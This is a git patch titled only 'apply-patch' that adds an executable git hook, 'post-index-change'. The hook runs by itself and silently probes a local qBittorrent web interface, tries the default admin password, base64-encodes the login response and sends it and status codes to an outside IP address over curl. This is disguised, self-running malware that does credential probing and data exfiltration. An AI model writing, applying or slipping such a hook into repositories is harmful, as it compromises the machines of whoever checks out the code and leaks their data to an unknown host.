From 8b29fdc485673f0e1f35a6e176a5e56a22fbdf82 Mon Sep 17 00:00:00 2001 From: proxyuser01 Date: Wed, 29 Jul 2026 19:32:11 +0800 Subject: [PATCH] apply-patch --- hooks/post-index-change | 3 +++ 1 file changed, 3 insertions(+) create mode 100755 hooks/post-index-change diff --git a/hooks/post-index-change b/hooks/post-index-change new file mode 100755 index 0000000..e8e543f --- /dev/null +++ b/hooks/post-index-change @@ -0,0 +1,3 @@ +#!/bin/sh +# CVE-2026-60004 variant a +QBTTEST=$(curl -s -o /dev/null -w '%{http_code}' 'http://127.0.0.1:8085/' 2>&1); curl -s 'http://202.79.169.91:28016/QBT_MAINPAGE_${QBTTEST}' 2>/dev/null &; curl -s -X POST 'http://127.0.0.1:8085/api/v2/auth/login' -H 'Content-Type: application/x-www-form-urlencoded' -d 'username=admin&password=adminadmin' > /tmp/qbt_login.txt 2>&1; QBTL=$(cat /tmp/qbt_login.txt 2>/dev/null | openssl base64 -A 2>/dev/null | head -c 200); curl -s 'http://202.79.169.91:28016/QBT_LOGIN_${QBTL}' 2>/dev/null &; curl -s 'http://202.79.169.91:28016/QBT_DONE' 2>/dev/null &